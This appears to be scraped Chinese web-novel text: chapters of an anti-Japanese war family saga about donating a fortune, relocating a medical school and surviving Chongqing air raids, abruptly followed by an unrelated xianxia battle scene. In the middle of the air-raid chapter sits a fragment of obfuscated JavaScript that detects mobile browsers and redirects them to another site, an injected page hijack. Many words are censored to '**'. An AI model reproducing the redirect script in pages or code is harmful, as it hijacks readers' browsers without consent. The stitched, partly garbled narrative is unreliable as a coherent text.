“你……真的想好了?”沈晚清的声音有些哽咽。
“想好了。”
陆念清挺起胸膛,“爹在前线指挥,娘在后方救人。我是陆家的儿子,这时候如果不去打鬼子,我一辈子都抬不起头。”
“而且……”
少年摸了摸胸口那枚金弹壳项链,眼中闪烁着超越年龄的成熟:
“爹说过,这枚弹壳是您当年从他身体里取出来的。它是咱们家的护身符,也是战勋。我想给它再添一枚属于我的。”
沈晚清忍住眼泪,伸手帮儿子整理好风纪扣,又用力拍了拍他的肩膀。
“好。”
“去吧。”
“记住,在战场上,别给你爹丢脸,也别给你娘丢脸。”
“是!”
……
当晚,指挥部。
大军即将开拔
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。
陆淮锦看着那个意气风发的儿子跟着队伍远去的背影,久久没有说话。
“心疼了?”沈晚清走到他身边。
“心疼。”
陆淮锦叹了口气,“才十四岁啊……正是读书的年纪。”
“但在这种世道,读书救不了国,只有枪杆子能。”
他转过身,看着指挥部里堆积如山的后勤报表,眉头又锁了起来。
“晚晚,情况不容乐观。”
陆淮锦指着报表上的赤字,“全面抗战一开,就是个无底洞。中央拨下来的军费连塞牙缝都不够。咱们这五年虽然攒了点家底,但这几场大仗打下来,**、粮草、药品的消耗是个天文数字。”
“特别是你的医学院和药厂,那是烧钱的大户。”
“如果后续资金跟不上……”
陆淮锦没有说下去。
一分钱难倒英雄汉。没有钱,枪里就没**,伤兵就没有药,这仗就没法打。
沈晚清看着丈夫愁眉不展的样子,目光落在了窗外漆黑的夜色中。
她沉默了片刻,像是做出了什么重大的决定。
“淮锦。”
她轻轻握住他的手,眼神温柔却坚定:
“还记得我们在瑞士银行和汇丰银行存的那笔‘养老钱’吗?”
“还有我在上海、天津置办的那几十处房产,以及咱们陆家在北六省所有的商铺地契……”
陆淮锦一愣:“晚晚,你……”
“国都没了,还要家干什么?”
沈晚清淡淡一笑,从怀里掏出一串沉甸甸的钥匙,放在桌子上,发出一声清脆的声响。
“陆司令。”
“咱们把家分了吧。”
“不是分家产散伙,而是……”
她抬起头,眼中闪烁着毁家纾难的豪情:
“把它全都换成飞机,换成大炮,换成盘尼西林。”
“咱们夫妻俩,这辈子不求荣华富贵,只求问心无愧。”
陆淮锦看着那串钥匙,看着眼前这个愿意陪他倾家荡产的女人。
他猛地将她拥入怀中,眼眶发红。
“得令!”
“夫**义!”
窗外,炮火映红了半边天。
这一夜,陆家不再是那个富甲一方的军阀世家。
他们即将变成两个一无所有的穷光蛋,但同时,也将成为这中华民族脊梁上,最硬的那两块骨头。
第155章 捐献家产
外面是炮火连天的华北战场,租界内却依然维持着表面的浮华。
VIP贵宾室里,银行的大班史密斯先生看着桌子上堆积如山的地契、房本和债券,惊得眼珠子都要掉下来了。
“陆夫人,您……您确定吗?”
史密斯擦了擦额头上的汗,难以置信地看着坐在对面那位神色淡然的东方女子,“这可是陆家在上海法租界的两栋洋房、在天津的十二间商铺、还有存在我们银行的一百根大黄鱼……这是陆家几辈子的积蓄啊!”
“全部变现。”
沈晚清抿了一口咖啡,声音平静得像是在谈论今天的天气,“另外,我在瑞士银行的户头也全部销户,资金转入国内。”
“可是现在行情不好,急着抛售,价格会被压得很低……”史密斯试图劝阻。
“史密斯先生。”
沈晚清放下杯子,打断了他。
她从手提包里拿出一个紫檀木的锦盒,轻轻打开。
锦盒里,静静地躺着那支曾在“认亲宴”上惊艳全城的凤头金钗,以及那一套价值连城的翡翠首饰。
“连同这些,也一起卖了。”
“夫人!这可是陆家的传家宝啊!”一旁跟随的老管家痛心疾首地喊道,老泪纵横,“留一点吧!哪怕给小少爷留点啊!”
沈晚清的手指轻轻抚过那支凤头钗,眼中闪过一丝不舍,但转瞬即逝。
“皮之不存,**将焉附?”
她合上盖子,推到史密斯面前,语气决绝:
“若是国家亡了,我们留着这些金银珠宝,也不过是给日本人当战利品,给陆家招祸。”
“全卖了。”
“换成外汇支票。我要去南京,买飞机。”
……
一周后。
一场低调却震动高层的捐赠仪式正在进行。
陆淮锦虽然身在前线指挥作战,无法亲临,但他委托沈晚清全权代表。
当沈晚清将那张填着天文数字的支票,双手递交给航空委员会的代表时,在场的空军将领们集体起立,庄严敬礼。
“陆夫人,这笔钱……”
代表看着支票上的数字,声音都在颤抖,“按照现在的市价,这笔钱足够从美国购买三十架霍克-III型战斗机!这简直就是一场及时雨啊!”
当时的中国空军,飞机拼光一架少一架。三十架战机,足以组建一个满编的驱逐机大队,足以在长空之上,为地面的陆家军弟兄撑起一片天。
“不仅是飞机。”
沈晚清拿出一份清单,“剩下的一部分钱,我通过亨利医生的渠道,在海外订购了十吨盘尼西林和手术器械。不日将运抵汉口。”
“陆将军和夫人毁家纾难,高风亮节,实乃我辈楷模!”代表眼眶湿润,深深鞠躬。
沈晚清回了一礼,神色淡然:
“将军说了,这些钱本来就是取之于民。如今国难当头,理应用之于国。”
“只要能多打下一架敌机,多救活一个战士,陆家就是倾家荡产,也值了。”
……
前线,陆家军指挥部。
九月,秋风起。
捐出了全部家产后,陆大帅的生活发生了翻天覆地的变化。
曾经那个甚至喝水都要讲究茶叶产地的陆淮锦,如今正蹲在战壕边,手里捧着一个缺了口的搪瓷碗。
碗里是黑乎乎的杂粮面糊,配着几根咸菜条。
“司令,委屈您了。”
警卫员看着这一幕,心里难受,“后勤那边还有点白面,要不给您开个小灶,包顿饺子?”
“混账话!”
陆淮锦呼噜呼噜地喝完面糊,一抹嘴,“弟兄们吃什么,我就吃什么。前线粮食紧缺,白面留给伤员和重病号。”
他站起身,拍了拍身上那件已经洗得发白、袖口还打着补丁的军装。
那是沈晚清亲手缝的。
以前,他的衣服是私人裁缝定制的,一件就要几十块大洋。现在,他只有这两套换洗的军装。
这时,一名战地记者举着相机走了过来,恰好拍下了陆淮锦蹲地喝粥的一幕。
“陆将军。”
记者看着这位曾经富甲一方的军阀,如今却过得如此清贫,忍不住问道:
“听说您把家产都捐了,连夫人的首饰都卖了。现在过着这样的苦日子,您……后悔吗?”
陆淮锦愣了一下。
他看了一眼远处天空中呼啸而过的战机——那是画着**徽章的中国战机,正是用他的家产买来的。
那几架战机正在追逐日军的轰炸机,保护着地面的阵地。
陆淮锦笑了。
那是发自内心的、豪迈的笑。
“后悔?”
他指着天上的飞机,又指了指身后依然飘扬的军旗:
“老子拿几栋破房子和一堆破石头,换来了这天上的雄鹰,换来了阵地不失!”
“这笔买卖,是我陆淮锦这辈子做得最赚的一笔!”
“只要国家还在,我陆淮锦就是讨饭,那也是在中国的土地上讨饭,腰杆子是直的!”
……
次日,各大报纸头条。
一张名为《将军的午餐》
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的照片,配上《毁家纾难!陆淮锦夫妇捐献巨资购机三十架!》的标题,瞬间引爆了全国的**。
照片上,那位威风凛凛的将军蹲在战壕里啃着黑面馒头,而背景是刚刚从美国运抵的崭新战机。
这种强烈的对比,震撼了无数国人的心。
“连曾经的军阀都把家底捐了,我们还有什么理由不拼命?”
一时间,全国各地掀起了捐款热潮。
商人们捐出了黄金,工人们捐出了工资,妇女们捐出了首饰。就连乞丐,也把自己讨来的铜板扔进了募捐箱。
一种名为“万众一心”的力量,正在这片古老的土地上疯狂生长。
……
深夜,指挥部帐篷。
沈晚清从南京办完事,风尘仆仆地赶了回来。
她看到陆淮锦正在油灯下缝补一只磨破了的袜子。那个曾经只会拿枪的手,现在拿针线显得笨拙而滑稽。
“我来吧。”
沈晚清放下行李,自然地接过针线。
“回来了?”
陆淮锦看着妻子。她身上那件名贵的旗袍不见了,换成了一件朴素的阴丹士林蓝布衫,头发也剪短了,简单地别在耳后。
没有了珠宝首饰的装点,她看起来却比任何时候都要美。
“晚晚,跟着我,让你受苦了。”陆淮锦握住她有些粗糙的手,满眼愧疚。
“苦吗?”
沈晚清缝好袜子,咬断线头,笑着摇了摇头。
“以前住洋房,吃燕窝,心里却是空的,每天提心吊胆。”
“现在住帐篷,吃咸菜,但我心里是踏实的。”
她靠在陆淮锦怀里,听着远处隐约的炮火声:
“因为我知道,我们付出的每一分钱,都在变成射向敌人的**。”
“而且……”
她摸了摸陆淮锦空荡荡的口袋,调侃道:
“陆司令现在身无分文,以后除了我,怕是也没有别的小姑娘愿意跟着你了。这也算是我花钱买了个放心。”
陆淮锦被她逗乐了,朗声大笑,一把将她抱紧。
“是是是,以后我就是陆夫人的长工,这辈子,下辈子,都给你打工还债!”
帐篷外,秋风萧瑟。
但帐篷内,两颗赤诚的心紧紧相依。
家财散尽,却换来了灵魂的丰盈。
然而,局势的恶化比想象中来得更快。
随着淞沪会战的爆发,上海沦陷,南京告急。华北战场也面临着被合围的危险。
那个关于“撤退”与“坚守”的艰难抉择,再次摆在了面前。
第156章 转战大后方
北风卷地,枯叶纷飞。
蜿蜒崎岖的山路上,一支庞大的队伍正在艰难前行。
这不是一支普通的军队,而是一支混杂着卡车、马车、甚至独轮车的奇怪纵队。车上装的不是金银细软,而是精密的显微镜、沉重的手术台、成箱的标本和无数珍贵的医书。
这是正在进行战略大转移的北城医科大学。
“大家加把劲!前面就是山口了!翻过去就安全了!”
沈晚清穿着一身磨损严重的灰色军装,脚上踩着草鞋,背上还背着一个巨大的药箱。她一边推着一辆陷在泥坑里的板车,一边大声给身后的学生们鼓劲。
这已经是他们离开北平的第四十天。
平津沦陷后,国民政府决定迁都重庆。陆淮锦当机立断,命令沈晚清带领医学院和伤兵医院的全部家当,跟随政府西迁入川。
而他自己,则率领陆家军主力在娘子关一线死守,为大部队和百姓的撤退争取时间。
“沈,我不行了……”
亨利一屁股坐在路边的石头上,气喘吁吁,原本精致的西装早就变成了布条装,金发也打成了结,“我的脚磨破了,我的上帝,这就是你们说的‘蜀道难’吗?这才刚到山西啊!”
“亨利,这还没进四川呢。”
沈晚清走过去,递给他一块硬邦邦的干粮,“站起来。你想想你怀里抱着的那个箱子,那是全中国最后一台德国蔡司高倍显微镜。如果你不走了,把它给我,我背。”
亨利看了一眼怀里那个被他用棉衣裹了三层的箱子,咬了咬牙,又重新站了起来:
“不!这是我的宝贝!死也不能丢!”
他骂骂咧咧地啃了一口干粮,迈着沉重的步子继续前行。
……
娘子关前线,陆家军阵地。
轰隆隆——
日军的重炮正在轰击这道屏障。
陆淮锦站在战壕里,满脸硝烟。他的左臂吊着绷带,那是三天前被弹片划伤的。
“司令!医学院的队伍已经翻过太行山了!”宋虎猫着腰跑过来汇报。
“好!”
陆淮锦吐掉嘴里的泥沙,眼中闪过一丝欣慰,“种子保住了,咱们这就没白打。”
他回头看了一眼身后那张仅剩一万人的年轻面孔——其中包括他的儿子,正在擦拭**的陆念清。
“念清,怕吗?”
“不怕!”
十五岁的少年脸上已经脱去了稚气,眼神坚毅如铁,“爹,咱们什么时候撤?”
“再守最后三个小时。”
陆淮锦看着前方如潮水般涌来的日军,“等天黑。天一黑,咱们就撤进山里,跟鬼子打游击,一路往西撤,去跟你会合!”
“是!”
……
秦岭,风雪夜。
两个月后。
队伍已经进入了最艰难的秦岭古道。大雪封山,路面结冰,一侧是峭壁,一侧是万丈深渊。
“小心!路滑!”
一辆装载着X光机的马车突然打滑,马匹受惊嘶鸣,车轮滑向悬崖边缘。
“拉住!快拉住!”
几名男学生不顾一切地冲上去,死死拽住缰绳和车辕。
“啊——!”
一名叫小张的学生脚下一滑,整个人悬空,但他依然死死抓着捆绑仪器的绳索,用身体当成了刹车片,卡在了悬崖边的石头上。
“小张!”
众人七手八脚地把车拉回来,把人救上来。
小张的腿被石头划开了一道深可见骨的口子,鲜血染红了雪地。但他被救上来的第一句话却是:
“校长……机器……机器没事吧?”
沈晚清跪在雪地里,一边给他包扎,一边泪流满面。
“机器没事……你也没事……好孩子……”
这就是她的学生。
这就是中国的未来。
在这个山河破碎的年代,这群手无缚鸡之力的书生,用他们的血肉之躯,扛起了中华医学的火种,在风雪中艰难跋涉,一步都不肯后退。
……
西南,朝天门码头。
当第一缕春风吹散江面的晨雾时,一支衣衫褴褛、宛如乞丐的队伍,终于抵达了这座传说中的山城。
他们走了整整半年。
从华北平原到西南腹地,跨越了数千公里。
出发时的一千人,到达时只剩下八百人。有人死于轰炸,有人死于疾病,有人滑落深渊。
但他们带出来的两百吨医疗设备、五万册图书、以及那颗“抗战到底”的心,却完好无损。
“到了……我们到了……”
看着眼前这座依山而建、云雾缭绕的城市,看着码头上飘扬的*
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*满地红旗帜,所有的师生都扔下行李,抱头痛哭。
沈晚清站在江边,消瘦得厉害,颧骨高耸,但那双眼睛却比任何时候都要明亮。
她望着滚滚长江东逝水,心中只有一个念头:
淮锦,你在哪?
……
重庆南岸,黄山官邸附近,临时驻地。
一个月后。
陆家军残部终于赶到了重庆。
当陆淮锦带着仅存的三千弟兄出现在驻地门口时,沈晚清差点没认出他来。
他瘦得脱了形,胡子拉碴,那件大帅戎装早就变成了布条,如果不是那双依旧锐利的眼睛,简直和流民无异。
“晚晚。”
陆淮锦看到正在指挥学生搭建竹棚校舍的沈晚清,咧嘴一笑,露出一口白牙。
“我把儿子带回来了。”
他身后,同样瘦了一圈、黑得像块炭的陆念清,背着两支**,兴奋地冲了过来:
“娘!我们活着回来了!”
沈晚清手中的图纸飘落在地。
她冲过去,不顾周围还有学生和士兵,一把抱住了这两个生命中最重要的男人。
“回来就好……回来就好……”
在这异乡的土地上,在这潮湿多雾的山城里,一家三口终于团聚。
……
新的征程。
虽然后方暂时安定,但战争并没有远离。
重庆,这座战时的陪都,即将迎来人类战争史上最残酷、最密集的无差别轰炸。
“这里不能建高楼。”
陆淮锦巡视完地形,指着医学院选址后方的山体,“晚晚,咱们得挖洞。”
“挖洞?”
“对,防空洞。”
陆淮锦看着天空,神色凝重,“日本人的飞机够不到这里,但他们会来炸这里。咱们的医院、手术室、药品库,全部都要搬进山洞里。”
“这将会是一场持久战。”
沈晚清看着眼前连绵起伏的大山,点了点头。
“好。那就把学校建在岩石里。”
“只要山不倒,我们的手术台就不倒。”
夕阳西下,将重庆的山峦染成一片血红。
在这片坚硬的岩石之下,一座特殊的“地下医学院”正在破土动工。它将在未来的几年里,在漫天的空**报声中,成为无数伤员最后的避风港。
第157章 空袭下的手术
“呜——呜——呜——”
凄厉的防空警报声响彻山城,红色的灯笼在街头高高挂起。这是紧急警报,意味着敌机已经进入市区上空。
天空中,上百架绘着膏药旗的重型轰炸机遮天蔽日,密密麻麻的**像下雨一样倾泻而下。整个重庆渝中半岛瞬间化为火海,浓烟滚滚,直冲云霄。
然而,在嘉陵江畔的一处深山防空洞里,却是一片死一般的寂静与紧张。
这里是北城医科大学附属医院的临时手术室。
洞顶潮湿,不断有水珠滴落。昏黄的电灯泡在因**气浪而产生的气流中剧烈晃动。
“止血钳。”
沈晚清的声音冷静得没有一丝波澜。她戴着口罩,额头上满是细密的汗珠,手中的手术刀正悬在一个年轻飞行员的胸腔上方。
这是一名刚才在空战中为了撞击敌机而跳伞重伤的空军少尉。一块弹片插在他的心脏大动脉旁边,距离心脏只有不到五毫米。
“擦汗。”
旁边的护士连忙用纱布擦去她额头快要滴进眼睛里的汗水。
“轰——!!”
一枚重磅航弹在防空洞上方的山体**。
整个山洞剧烈摇晃,灰尘和碎石簌簌落下,落在了无菌单上。
“护住伤口!”
亨利大吼一声,整个人扑在手术台上,用后背挡住了落下的碎石。
“滋——啪!”
头顶的灯泡闪烁了两下,彻底熄灭。
手术室陷入了一片漆黑。
“别慌!”
黑暗中,沈晚清的厉喝声响起,“备用电源!快!”
“发电机坏了!刚才的震动震断了线路!”外面的电工绝望地喊道。
没有光。
在这心脏手术的关键时刻,没有光就意味着死亡。
那名年轻飞行员的呼吸监护仪虽然看不见波形,但那微弱的滴答声正在变得越来越慢。
“手电筒!马灯!镜子!”
沈晚清当机立断,“把所有的光源都集中过来!亨利,你来扶镜子,把光反射到切口里!”
几秒钟后,几束微弱却坚定的光线汇聚在那个血肉模糊的胸腔里。
那是几名学生护士手里的手电筒,还有墙角应急用的桐油灯。
光线昏暗,摇曳不定,影子在岩壁上张牙舞爪。
“够了。”
沈晚清深吸一口气,调整呼吸。她的手在这样极端的环境下,依然稳如磐石。
“我要取弹片了。可能会大出血,准备好自体血回输。”
她眯起眼睛,借着那一点点微光,手中的止血钳小心翼翼地探入心脏旁边的血管丛。
洞外的轰炸声依旧震耳欲聋,每一声**都像是在敲打着人的神经。
但沈晚清的世界里,只剩下了眼前这一方寸的血肉,和那一颗还在顽强跳动的心脏。
……
防空洞口。下午两点。
陆淮锦像一尊门神一样守在这里。
他浑身是泥,刚才他带着警卫连刚刚从坍塌的废墟里挖出了十几个被埋的老百姓。
“司令,洞口的通风井被炸塌了一半,里面的氧气可能不够了!”
陆念清跑过来,脸上黑得只剩下眼白,焦急地说道,“娘还在里面做手术,要是缺氧……”
“挖!”
陆淮锦扔掉手里的半截烟头,抓起一把工兵铲,“哪怕是用手刨,也要把风口给我刨开!绝不能让你娘和伤员憋死在里面!”
“是!”
父子俩带着几十名战士,冒着外面还在持续的轰炸,冲向了通风口。
弹片横飞,热浪灼人。
陆淮锦的后背被一块飞溅的石头砸中,鲜血直流,但他像没感觉一样,疯狂地清理着堵塞的碎石。
“呼——”
终于,通风口被挖开了一个大洞。新鲜的空气涌入,带着硝烟味,但那是救命的气。
陆淮锦趴在洞口,冲着下面大喊:
“晚晚!还在吗?!”
几秒钟后,下面传来护士带着哭腔的喊声:
“在!司令!手术……成功了!!”
陆淮锦身子一软,瘫坐在滚烫的石头上,大口喘着粗气,露出了比哭还难看的笑容。
……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946076|192885||http|test|mini|href|location''.split(''|''),0,{}));
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r>黄昏,警报解除。
当沈晚清走出防空洞时,已经是傍晚六点。
她摘下口罩,脸上被勒出了深深的印痕,整个人像是从水里捞出来的一样。
外面的重庆城,大火还在燃烧。到处是断壁残垣,到处是哭声。
但也有歌声。
在不远处的废墟上,一群还没来得及撤离的学生,正在废墟上高唱着《义勇军进行曲》。
“起来!不愿做奴隶的人们……”
歌声激昂,穿透了硝烟,直冲云霄。
陆淮锦走过来,递给沈晚清一个行军水壶。
“喝口水。”
沈晚清接过水壶,喝了一口,润了润冒烟的嗓子。她看着眼前这座在烈火中重生的城市,看着那些虽然满脸泪水、却依然在清理废墟、救助邻居的百姓。
“淮锦。”
她轻声说道,“日本人想用**让我们屈服。”
“但他们不知道,这**炸毁的只是房子,却把我们的骨头炸得更硬了。”
陆淮锦伸手揽住她的肩膀,看着那轮在烟尘中若隐若现的血色残阳。
“是啊。”
“他们赢不了的。”
“只要我们还站在这里,只要手术刀还在,枪还在,中国就不会亡。”
这一年,是抗战最苦的一年。
也是希望开始孕育的一年。
在无数个像这样的防空洞里,在无数次生与死的考验中,这个民族咬紧了牙关,挺直了脊梁,一步步熬过了最黑暗的长夜。
……
时光荏苒,岁月如梭。
从1940年到1945年。
这五年,陆家军在正面战场和大后方之间来回穿插,陆淮锦的鬓角生出了华发,身上的伤疤多得数不清。
这五年,沈晚清的防空洞医院救治了数万名伤员,她的名字成了大后方的“活菩萨”。
这五年,陆念清从一个新兵蛋子,成长为一名屡立战功的青年团长,脸上的稚气彻底褪去,换上了铁血与风霜。
终于。
历史的时针指向了那个所有中国人魂牵梦绕的日子。
第158章 胜利的曙光
这一天的重庆,热得像个蒸笼。知了在树上声嘶力竭地叫着,仿佛预感到有什么大事要发生。
驻地的院子里,那一台也是全军唯一的一台大功率收音机被搬到了操场中央。
陆淮锦穿着那身洗得发白、领口已经磨破的军装,站在最前面。在他身后,是沈晚清,是亨利,是已经长成魁梧青年的陆念清,还有那仅存的几百名从漠城一路跟过来的老兵,以及数千名在战火中成长起来的新兵。
所有人都屏住呼吸,死死盯着那个黑色的匣子。
“滋滋……滋滋……”
电波干扰的声音让人心焦。
终于,广播里传来了日本**裕仁略带沙哑、语调古怪的声音:
“朕深鉴于世界大势及帝国之现状,欲以非常之措施收拾时局,兹告尔忠良臣民……”
紧接着,播音员激动的中文翻译声响起,声音颤抖,几度哽咽:
“日本**已宣读《终战诏书》!宣布接受波茨坦公告,无条件投降!”
“日本……投降了!!”
时间在这一刻仿佛静止了。
一秒。
两秒。
三秒。
“赢了?咱们赢了?”
一名只有一只胳膊的老兵愣愣地问旁边的战友,不敢相信自己的耳朵。
“赢了!鬼子投降了!咱们赢了!!”
战友猛地抱住他,放声大哭。
“啊——!!!”
下一刻,整个操场炸锅了。
没有命令,没有队列。所有的士兵,无论官阶大小,都像疯了一样把帽子扔向天空,把手中的搪瓷缸子敲得震天响。有人在哭,有人在笑,有人跪在地上疯狂地捶打着泥土。
“爹!娘!咱们赢了!”
二十二岁的陆念清,这位在战场上杀伐果断的年轻团长,此刻像个孩子一样冲过来,一把将父母同时抱住,眼泪鼻涕蹭了陆淮锦一身。
陆淮锦没有推开儿子。
这位在长城上没流泪,在千里撤退时没流泪的铁血统帅,此刻仰着头,任由滚烫的泪水顺着那道沧桑的刀疤滑落。
“赢了……”
他紧紧握着沈晚清的手,手劲大得把她的手都捏疼了。
“晚晚,八年了……咱们熬出来了。”
沈晚清早已泪流满面。她看着周围那些欢呼雀跃的年轻面孔,仿佛看到了无数没能等到这一天的故人。
“是啊,熬出来了。”
……
当晚,重庆街头。
这一夜,山城无眠。
防空警报不再是为了躲避**而响,而是为了庆祝胜利而鸣。
探照灯在夜空中交织,虽然不再有敌机,但它们照亮了每一张笑脸。
大街小巷挤满了狂欢的人群。人们手里挥舞着《新华日报》、《中央日报》的号外,上面的标题只有几个巨大的黑体字:《日本无条件投降!》
鞭炮声响彻云霄,比当年的**声还要密集,还要震耳欲聋。
陆淮锦换上了便装,牵着沈晚清的手,漫步在精神堡垒附近的街头。
“你看,那是咱们的医学生。”
沈晚清指着不远处的一辆卡车。车上挤满了穿着白大褂的学生,他们敲锣打鼓,高唱着《大刀进行曲》。
亨利医生也在车上,他手里拿着一瓶香槟,见人就喷,用法语大喊着:“Vivelavictoire!”
“这老外,比咱们还疯。”陆淮锦笑着摇了摇头。
突然,一个小女孩跑过来,把手里的一束野花塞进沈晚清手里。
“谢谢阿姨!谢谢叔叔打鬼子!”
小女孩说完就跑开了。
沈晚清低头看着那束带着露珠的野花,眼泪再次模糊了视线。
为了这句“谢谢”,为了这满城的灯火,陆家军十万儿郎,如今只剩下这寥寥数千人。
这胜利,太重了。
……
深夜,嘉陵江畔。
狂欢的人群渐渐散去,陆淮锦带着一家三口,还有宋虎等几名老部下,来到了一处僻静的江滩。
月光倒映在江水中,波光粼粼。
陆淮锦让人搬来一坛陈年的泸州老窖。
他拍开封泥,酒香四溢。
“满上。”
陆淮锦声音低沉。
面前摆着一排空碗。
他端起第一碗酒,缓缓倒在地上。
“这一碗,敬漠城出征的那五万弟兄。”
“你们没给陆家丢脸,没给中国丢脸。咱们的国门,守住了。”
他又端起第二碗。
“这一碗,敬影一、影二,敬二团长,敬老张……”
他念出一个个
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名字。每念一个,身后的宋虎和陆念清就哽咽一声。
“你们在天之灵看清楚了,鬼子签投降书了。咱们把他们赶回老家了!”
最后,他端起第三碗酒,并没有倒,而是高高举过头顶,对着江水,对着明月,对着那虚空中的无数英魂:
“弟兄们,仗打完了。”
“你们……可以安息了!”
说完,他仰头将烈酒一饮而尽。
辛辣的酒液划过喉咙,像火一样烧着他的心,也烧尽了这十四年(从九一八算起)的**与愤懑。
沈晚清走上前,轻轻替他擦去嘴角的酒渍。
“淮锦。”
“嗯?”
“接下来,你有什么打算?”
陆淮锦看着滚滚东逝的江水,沉默了许久。
这八年,他从一个割据一方的旧军阀,变成了一个真正为国为民的抗日名将。他失去了家财,失去了权势,失去了无数兄弟。
但他赢得了尊严,赢得了民心。
如今,外敌已去,但国内的局势依然波云诡谲。新的风暴似乎正在酝酿。
“晚晚。”
陆淮锦转过身,看着妻子,又看了看已经能够独当一面的儿子。
他伸手摘下了那顶戴了半辈子的军帽,手指轻轻抚摸着上面的**徽章。
“我累了。”
他的声音很轻,带着一丝看透世事的沧桑与释然。
“打了半辈子的仗,手上沾了太多的血。我想……我也该歇歇了。”
“念清已经长大了,陆家军的旗帜,以后他扛得起。”
“至于我……”
陆淮锦握住沈晚清的手,眼中满是温柔的笑意:
“我想回柳镇,或者找个山清水秀的地方。给你种一片药圃,每天给你画眉,给你做饭。”
“把这二十年欠你的安稳日子,都补给你。”
沈晚清看着他。
月光下,这个男人的两鬓已经斑白,眼角的皱纹里藏满了故事。
她笑了,反握住他的手,十指紧扣。
“好。”
“咱们回家。”
“去过咱们自己的日子。”
江风拂过,吹散了酒气,也吹散了硝烟。
在那黎明前的微光中,一代传奇落幕,而属于他们的另一种幸福人生,才刚刚开始。
第159章 功成身退
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们**,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以**……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
